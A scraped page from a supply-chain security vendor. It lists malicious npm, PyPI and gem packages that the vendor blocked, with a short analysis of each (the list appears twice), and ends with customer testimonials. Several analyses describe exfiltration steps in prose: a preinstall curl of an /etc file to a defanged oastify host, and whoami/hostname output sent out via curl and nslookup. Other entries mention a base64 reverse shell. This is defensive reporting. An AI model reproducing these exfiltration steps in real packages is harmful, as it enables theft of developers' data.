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Malicious PyPI Package ‘pycord-self’ Targets Discord Developers with Token Theft and Backdoor Exploit
Socket researchers uncover the risks of a malicious Python package targeting Discord developers.
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aaron-rodgers-jersey-free265
1.0.2
by sicrap
Removed from npm
Blocked by Socket
The code exhibits potentially malicious behavior such as unauthorized login attempts and content publishing, as well as obfuscation and hard-coded credentials. The overall security risk is high due to the presence of these factors.
Live on npm for 27 minutes before removal. Socket users were protected even while the package was live.
n8n-nodes-base-discord-npng
1.8.0
by danthyre
Removed from npm
Blocked by Socket
The script appears to be blocking the execution of npm install. While this may not be inherently malicious, it could be an attempt to prevent the installation of dependencies or interfere with the normal functioning of the package.
Live on npm for 20 hours and 49 minutes before removal. Socket users were protected even while the package was live.
pwn
0.4.484
by 0day Inc.
Live on gem
Blocked by Socket
The script is not inherently malicious but poses a high security risk due to its ability to alter disk partitions without user interaction. This can lead to data loss or system damage if executed unintentionally.
here_cta_marketo_v2
999.999.999
Removed from npm
Blocked by Socket
The code is exfiltrating sensitive information to an external server using the 'ping' command. This behavior is indicative of malicious intent. The provided reports are placeholders and do not provide any useful information or analysis. The malware score should be high due to the malicious behavior of exfiltrating sensitive information. The obfuscation score should be low as the code is not obfuscated. The risk score should be high due to the serious security risk posed by the exfiltration of sensitive information.
Live on npm for 2 hours and 31 minutes before removal. Socket users were protected even while the package was live.
gfg-security-utilities
6.640.7
by hgfg
Removed from npm
Blocked by Socket
This code demonstrates suspicious behavior by filtering and sending environment variables to an external host, which raises concerns about data privacy and security. The presence of a suspicious domain adds to the risk.
Live on npm for 52 minutes before removal. Socket users were protected even while the package was live.
@zitterorg/laudantium-rerum
2.2.26
by loandinhb931
Live on npm
Blocked by Socket
Malicious code in @zitterorg/laudantium-rerum (npm) Source: ghsa-malware (e45ff91dd83cc149d7abc8c6fb2c74e3509aa341e23c72cfac0a34868a4e2637) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
justice-living-fully-disease
1.0.0
by onedionysc
Removed from npm
Blocked by Socket
The returned string 'Justice Living Fully Disease' appears to be an anomaly and might indicate obfuscated or malicious behavior.
Live on npm for 34 days and 42 minutes before removal. Socket users were protected even while the package was live.
azure-graphrbac
6.14.1000
Removed from npm
Blocked by Socket
The code exhibits behavior consistent with data exfiltration, sending sensitive system and user information to external servers without consent. This poses a significant security risk.
Live on npm for 8 minutes before removal. Socket users were protected even while the package was live.
cms-external-datajs
1.99.9
by confusion-test3
Removed from npm
Blocked by Socket
The code is designed to exfiltrate sensitive system information to an external domain using DNS queries, which is a clear indication of malicious intent. The use of encoding and DNS queries suggests an attempt to hide this activity.
Live on npm for 4 hours and 15 minutes before removal. Socket users were protected even while the package was live.
xbuild
0.0.5
by mattqs
Removed from npm
Blocked by Socket
The code exhibits potential security risks due to the use of Promise.promisify, dynamic construction of AWS CLI commands, unnecessary empty function, and potential information leakage. The use of util.format, execution of shell commands, reading and writing files, and handling of AWS credentials could lead to security vulnerabilities such as command injection, data leakage, and unauthorized access to AWS resources. Proper care should be taken to securely handle AWS credentials, configure the S3 upload operation, and mitigate the identified potential security risks.
Live on npm for 1 minute before removal. Socket users were protected even while the package was live.
node_cloud_core
1.0.0
by shihuojian
Removed from npm
Blocked by Socket
The code handles sensitive operations involving file and database management with potential security risks due to improper input validation and command execution methods. These issues need addressing to prevent security vulnerabilities such as command injection and directory traversal.
Live on npm for 1 day, 20 hours and 25 minutes before removal. Socket users were protected even while the package was live.
azure-graphrbac
0.2.8
Removed from npm
Blocked by Socket
Possible typosquat of [azure](https://socket.dev/npm/package/azure) Explanation: The package 'azure-graphrbac' is labeled as a 'security holding package', which often indicates a placeholder to prevent typosquatting. The name 'azure-graphrbac' closely resembles 'azure' and could be misleading. The maintainers list includes 'npm', which is not a specific known maintainer. The description does not provide enough information to determine a distinct purpose, and the similarity in naming suggests it could be a typosquat. azure-graphrbac is a security-holding package
Live on npm for 4 hours and 58 minutes before removal. Socket users were protected even while the package was live.
patientenapp
0.17.1563
Removed from npm
Blocked by Socket
The code is designed to collect sensitive system information and transmit it to an external server using obfuscated methods. This behavior is indicative of malicious activity, specifically data exfiltration.
Live on npm for 13 minutes before removal. Socket users were protected even while the package was live.
router-governance
99.13.0
by senseiesnes
Removed from npm
Blocked by Socket
This script is highly suspicious and potentially malicious. It runs a local program and sends its output to a remote server, which then executes a shell command. This behavior could be used for unauthorized access or to execute malicious code on the system.
Live on npm for 5 minutes before removal. Socket users were protected even while the package was live.
persistence
2.13.1
Live on pypi
Blocked by Socket
The primary concern with this code is the use of 'exec' to execute scripts fetched from the internet without validation. This poses a significant security risk as it can potentially execute malicious code. The use of 'os.spawnle' and 'subprocess.Popen' with user-provided inputs also adds to the security concerns. Additionally, there is a typo in 'Optarser' and incomplete handling of the temporary directory cleanup. http://python-distribute.org/distribute_setup.py was marked as Malicious by 1 engine in VT. https://www.virustotal.com/gui/url/3dce83785eafd47d40edd58b58c82593994cd409fc76351033486881fe943c36
cx-vform3-builds
1.0.2
by cixun
Removed from npm
Blocked by Socket
The code contains potential security risks due to lack of input validation and dynamic data handling. There is a possibility of data leakage, arbitrary code execution, and malicious data storage.
Live on npm for 174 days, 2 hours and 13 minutes before removal. Socket users were protected even while the package was live.
es6shsm
0.0.1-security.2
by npm
Live on npm
Blocked by Socket
Malicious code in es6shsm (npm) Source: ghsa-malware (532e251435e5aa43412f0a3d67927aad3b0df8a7a31d174bc651cda37d917934) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
jessa-vue-components
8.13.1563
Removed from npm
Blocked by Socket
The code is malicious, as it collects and sends system information to an external server without user consent. The obfuscation and use of suspicious domains indicate a high risk of data exfiltration.
Live on npm for 1 hour and 10 minutes before removal. Socket users were protected even while the package was live.
e2e-test-repo
99.99.99
by himmuhimmu797
Removed from npm
Blocked by Socket
The script is malicious as it exfiltrates sensitive system information to a suspicious external server. This poses a significant security risk.
Live on npm for 1 hour and 52 minutes before removal. Socket users were protected even while the package was live.
yahoo-react-formsy-input
9595.9565.4
Removed from npm
Blocked by Socket
The script collects information from environment variables, compresses it, and sends the data as DNS queries to a specific server. This might be used for legitimate purposes, such as a security research tool, but could potentially be misused.
Live on npm for 7 minutes before removal. Socket users were protected even while the package was live.
ltval
2.3.23
by bullex-ru
Live on npm
Blocked by Socket
This code appears to be a type validation utility ('LTVal') that contains a malicious obfuscated payload hidden within the verifyPackageIntegrity() method. The code is identical to the previously analyzed sample, using the same base64 encoding technique to hide a reverse shell payload. The legitimate-looking validator functions serve as a cover for the malware's true purpose. Upon execution, the deobfuscated code establishes a reverse shell connection to a command & control server via Pastebin. The malware includes anti-debugging checks and persistence mechanisms to maintain access
pushservicejs
9.9.9
by hun33er
Removed from npm
Blocked by Socket
The package's preinstall script executes a curl command that attempts to send data from the local '/etc/passed' file to a remote server at 'zkno9i5yayunudppg0yby7q3vu1lpdd2[.]oastify[.]com'. This behavior is designed to exfiltrate potentially sensitive information without user consent, which is indicative of malware.
Live on npm for 17 days and 19 minutes before removal. Socket users were protected even while the package was live.
aem-core-react-components
6.6.7
by ads03122019
Removed from npm
Blocked by Socket
The code imports the `exec` function from the `child_process` module to execute shell commands that collect system information, including the hostname (`hostname`), current working directory (`pwd`), and current user (`whoami`). It assembles this information and sends it to a remote server via a `curl` command to `https://vvu0w9ob42hxpiw13z7oml4d349vxnwbl[.]oastify[.]com`. It then performs a DNS lookup using the collected data by executing `nslookup $a.bind9-or-callback-server[.]com`. This behavior indicates unauthorized data exfiltration of sensitive system information and malicious network communication with potentially malicious domains, posing significant security risks.
Live on npm for 16 days, 15 hours and 35 minutes before removal. Socket users were protected even while the package was live.
@diotoborg/quia-ad-a
0.0.1-security
Removed from npm
Blocked by Socket
This package was removed from the npm registry for security reasons.
Live on npm for 16 minutes before removal. Socket users were protected even while the package was live.
@aluffyz/discord-botjs
1.4.1
by aluffyz
Live on npm
Blocked by Socket
The code is heavily obfuscated and contains several high-risk features like dynamic code execution, accessing sensitive OS-level features, and networking capabilities that are often associated with malicious scripts or modules in a node environment. It should be considered unsafe without further context or sanitization.
aaron-rodgers-jersey-free265
1.0.2
by sicrap
Removed from npm
Blocked by Socket
The code exhibits potentially malicious behavior such as unauthorized login attempts and content publishing, as well as obfuscation and hard-coded credentials. The overall security risk is high due to the presence of these factors.
Live on npm for 27 minutes before removal. Socket users were protected even while the package was live.
n8n-nodes-base-discord-npng
1.8.0
by danthyre
Removed from npm
Blocked by Socket
The script appears to be blocking the execution of npm install. While this may not be inherently malicious, it could be an attempt to prevent the installation of dependencies or interfere with the normal functioning of the package.
Live on npm for 20 hours and 49 minutes before removal. Socket users were protected even while the package was live.
pwn
0.4.484
by 0day Inc.
Live on gem
Blocked by Socket
The script is not inherently malicious but poses a high security risk due to its ability to alter disk partitions without user interaction. This can lead to data loss or system damage if executed unintentionally.
here_cta_marketo_v2
999.999.999
Removed from npm
Blocked by Socket
The code is exfiltrating sensitive information to an external server using the 'ping' command. This behavior is indicative of malicious intent. The provided reports are placeholders and do not provide any useful information or analysis. The malware score should be high due to the malicious behavior of exfiltrating sensitive information. The obfuscation score should be low as the code is not obfuscated. The risk score should be high due to the serious security risk posed by the exfiltration of sensitive information.
Live on npm for 2 hours and 31 minutes before removal. Socket users were protected even while the package was live.
gfg-security-utilities
6.640.7
by hgfg
Removed from npm
Blocked by Socket
This code demonstrates suspicious behavior by filtering and sending environment variables to an external host, which raises concerns about data privacy and security. The presence of a suspicious domain adds to the risk.
Live on npm for 52 minutes before removal. Socket users were protected even while the package was live.
@zitterorg/laudantium-rerum
2.2.26
by loandinhb931
Live on npm
Blocked by Socket
Malicious code in @zitterorg/laudantium-rerum (npm) Source: ghsa-malware (e45ff91dd83cc149d7abc8c6fb2c74e3509aa341e23c72cfac0a34868a4e2637) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
justice-living-fully-disease
1.0.0
by onedionysc
Removed from npm
Blocked by Socket
The returned string 'Justice Living Fully Disease' appears to be an anomaly and might indicate obfuscated or malicious behavior.
Live on npm for 34 days and 42 minutes before removal. Socket users were protected even while the package was live.
azure-graphrbac
6.14.1000
Removed from npm
Blocked by Socket
The code exhibits behavior consistent with data exfiltration, sending sensitive system and user information to external servers without consent. This poses a significant security risk.
Live on npm for 8 minutes before removal. Socket users were protected even while the package was live.
cms-external-datajs
1.99.9
by confusion-test3
Removed from npm
Blocked by Socket
The code is designed to exfiltrate sensitive system information to an external domain using DNS queries, which is a clear indication of malicious intent. The use of encoding and DNS queries suggests an attempt to hide this activity.
Live on npm for 4 hours and 15 minutes before removal. Socket users were protected even while the package was live.
xbuild
0.0.5
by mattqs
Removed from npm
Blocked by Socket
The code exhibits potential security risks due to the use of Promise.promisify, dynamic construction of AWS CLI commands, unnecessary empty function, and potential information leakage. The use of util.format, execution of shell commands, reading and writing files, and handling of AWS credentials could lead to security vulnerabilities such as command injection, data leakage, and unauthorized access to AWS resources. Proper care should be taken to securely handle AWS credentials, configure the S3 upload operation, and mitigate the identified potential security risks.
Live on npm for 1 minute before removal. Socket users were protected even while the package was live.
node_cloud_core
1.0.0
by shihuojian
Removed from npm
Blocked by Socket
The code handles sensitive operations involving file and database management with potential security risks due to improper input validation and command execution methods. These issues need addressing to prevent security vulnerabilities such as command injection and directory traversal.
Live on npm for 1 day, 20 hours and 25 minutes before removal. Socket users were protected even while the package was live.
azure-graphrbac
0.2.8
Removed from npm
Blocked by Socket
Possible typosquat of [azure](https://socket.dev/npm/package/azure) Explanation: The package 'azure-graphrbac' is labeled as a 'security holding package', which often indicates a placeholder to prevent typosquatting. The name 'azure-graphrbac' closely resembles 'azure' and could be misleading. The maintainers list includes 'npm', which is not a specific known maintainer. The description does not provide enough information to determine a distinct purpose, and the similarity in naming suggests it could be a typosquat. azure-graphrbac is a security-holding package
Live on npm for 4 hours and 58 minutes before removal. Socket users were protected even while the package was live.
patientenapp
0.17.1563
Removed from npm
Blocked by Socket
The code is designed to collect sensitive system information and transmit it to an external server using obfuscated methods. This behavior is indicative of malicious activity, specifically data exfiltration.
Live on npm for 13 minutes before removal. Socket users were protected even while the package was live.
router-governance
99.13.0
by senseiesnes
Removed from npm
Blocked by Socket
This script is highly suspicious and potentially malicious. It runs a local program and sends its output to a remote server, which then executes a shell command. This behavior could be used for unauthorized access or to execute malicious code on the system.
Live on npm for 5 minutes before removal. Socket users were protected even while the package was live.
persistence
2.13.1
Live on pypi
Blocked by Socket
The primary concern with this code is the use of 'exec' to execute scripts fetched from the internet without validation. This poses a significant security risk as it can potentially execute malicious code. The use of 'os.spawnle' and 'subprocess.Popen' with user-provided inputs also adds to the security concerns. Additionally, there is a typo in 'Optarser' and incomplete handling of the temporary directory cleanup. http://python-distribute.org/distribute_setup.py was marked as Malicious by 1 engine in VT. https://www.virustotal.com/gui/url/3dce83785eafd47d40edd58b58c82593994cd409fc76351033486881fe943c36
cx-vform3-builds
1.0.2
by cixun
Removed from npm
Blocked by Socket
The code contains potential security risks due to lack of input validation and dynamic data handling. There is a possibility of data leakage, arbitrary code execution, and malicious data storage.
Live on npm for 174 days, 2 hours and 13 minutes before removal. Socket users were protected even while the package was live.
es6shsm
0.0.1-security.2
by npm
Live on npm
Blocked by Socket
Malicious code in es6shsm (npm) Source: ghsa-malware (532e251435e5aa43412f0a3d67927aad3b0df8a7a31d174bc651cda37d917934) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
jessa-vue-components
8.13.1563
Removed from npm
Blocked by Socket
The code is malicious, as it collects and sends system information to an external server without user consent. The obfuscation and use of suspicious domains indicate a high risk of data exfiltration.
Live on npm for 1 hour and 10 minutes before removal. Socket users were protected even while the package was live.
e2e-test-repo
99.99.99
by himmuhimmu797
Removed from npm
Blocked by Socket
The script is malicious as it exfiltrates sensitive system information to a suspicious external server. This poses a significant security risk.
Live on npm for 1 hour and 52 minutes before removal. Socket users were protected even while the package was live.
yahoo-react-formsy-input
9595.9565.4
Removed from npm
Blocked by Socket
The script collects information from environment variables, compresses it, and sends the data as DNS queries to a specific server. This might be used for legitimate purposes, such as a security research tool, but could potentially be misused.
Live on npm for 7 minutes before removal. Socket users were protected even while the package was live.
ltval
2.3.23
by bullex-ru
Live on npm
Blocked by Socket
This code appears to be a type validation utility ('LTVal') that contains a malicious obfuscated payload hidden within the verifyPackageIntegrity() method. The code is identical to the previously analyzed sample, using the same base64 encoding technique to hide a reverse shell payload. The legitimate-looking validator functions serve as a cover for the malware's true purpose. Upon execution, the deobfuscated code establishes a reverse shell connection to a command & control server via Pastebin. The malware includes anti-debugging checks and persistence mechanisms to maintain access
pushservicejs
9.9.9
by hun33er
Removed from npm
Blocked by Socket
The package's preinstall script executes a curl command that attempts to send data from the local '/etc/passed' file to a remote server at 'zkno9i5yayunudppg0yby7q3vu1lpdd2[.]oastify[.]com'. This behavior is designed to exfiltrate potentially sensitive information without user consent, which is indicative of malware.
Live on npm for 17 days and 19 minutes before removal. Socket users were protected even while the package was live.
aem-core-react-components
6.6.7
by ads03122019
Removed from npm
Blocked by Socket
The code imports the `exec` function from the `child_process` module to execute shell commands that collect system information, including the hostname (`hostname`), current working directory (`pwd`), and current user (`whoami`). It assembles this information and sends it to a remote server via a `curl` command to `https://vvu0w9ob42hxpiw13z7oml4d349vxnwbl[.]oastify[.]com`. It then performs a DNS lookup using the collected data by executing `nslookup $a.bind9-or-callback-server[.]com`. This behavior indicates unauthorized data exfiltration of sensitive system information and malicious network communication with potentially malicious domains, posing significant security risks.
Live on npm for 16 days, 15 hours and 35 minutes before removal. Socket users were protected even while the package was live.
@diotoborg/quia-ad-a
0.0.1-security
Removed from npm
Blocked by Socket
This package was removed from the npm registry for security reasons.
Live on npm for 16 minutes before removal. Socket users were protected even while the package was live.
@aluffyz/discord-botjs
1.4.1
by aluffyz
Live on npm
Blocked by Socket
The code is heavily obfuscated and contains several high-risk features like dynamic code execution, accessing sensitive OS-level features, and networking capabilities that are often associated with malicious scripts or modules in a node environment. It should be considered unsafe without further context or sanitization.
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Nat Friedman
CEO at GitHub
Congrats to @feross and the hard-working team behind @SocketSecurity on today's launch!
Suz Hinton
Senior Software Engineer at Stripe
heck yes this is awesome!!! Congrats team 🎉👏
Matteo Collina
Node.js maintainer, Fastify lead maintainer
So awesome to see @SocketSecurity launch with a fresh approach! Excited to have supported the team from the early days.
DC Posch
Director of Technology at AppFolio, CTO at Dynasty
This is going to be super important, especially for crypto projects where a compromised dependency results in stolen user assets.
Luis Naranjo
Software Engineer at Microsoft
If software supply chain attacks through npm don't scare the shit out of you, you're not paying close enough attention.
@SocketSecurity sounds like an awesome product. I'll be using socket.dev instead of npmjs.org to browse npm packages going forward
Elena Nadolinski
Founder and CEO at Iron Fish
Huge congrats to @SocketSecurity! 🙌
Literally the only product that proactively detects signs of JS compromised packages.
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Engineering Team Lead at Coder
Congrats to @feross and the @SocketSecurity team on their seed funding! 🚀 It's been a big help for us at @CoderHQ and we appreciate what y'all are doing!
Josh Goldberg
Staff Developer at Codecademy
This is such a great idea & looks fantastic, congrats & good luck @feross + team!
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Yan Zhu
Head of Security at Brave, DEFCON, EFF, W3C
glad to hear some of the smartest people i know are working on (npm, etc.) supply chain security finally :). @SocketSecurity
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CEO and Co-Founder at Signal Sciences (acq. Fastly)
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Supply chain is a cluster in security as we all know and the tools from Socket are "duh" type tools to be implementing.
Zbyszek Tenerowicz
Senior Security Engineer at ConsenSys
socket.dev is getting more appealing by the hour
Devdatta Akhawe
Head of Security at Figma
The @SocketSecurity team is on fire! Amazing progress and I am exciting to see where they go next.
Ryan Noon
Founder & CEO at Material Security
The NPM ecosystem is a horrible horrible place and I'm glad you're doing something about it.
Sebastian Bensusan
Engineer Manager at Stripe
I find it surprising that we don't have _more_ supply chain attacks in software:
Imagine your airplane (the code running) was assembled (deployed) daily, with parts (dependencies) from internet strangers. How long until you get a bad part?
Excited for Socket to prevent this
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VP of Security at npm, Red Team at Auth0/Okta
Congrats to everyone at @SocketSecurity ❤️🤘🏻
Nico Waisman
CISO at Lyft
This is an area that I have personally been very focused on. As Nat Friedman said in the 2019 GitHub Universe keynote, Open Source won, and every time you add a new open source project you rely on someone else's code and you rely on the people that build it.
This is both exciting and problematic. You are bringing real risk into your organization, and I'm excited to see progress in the industry from OpenSSF scorecards and package analyzers to the company that Feross Aboukhadijeh is building!
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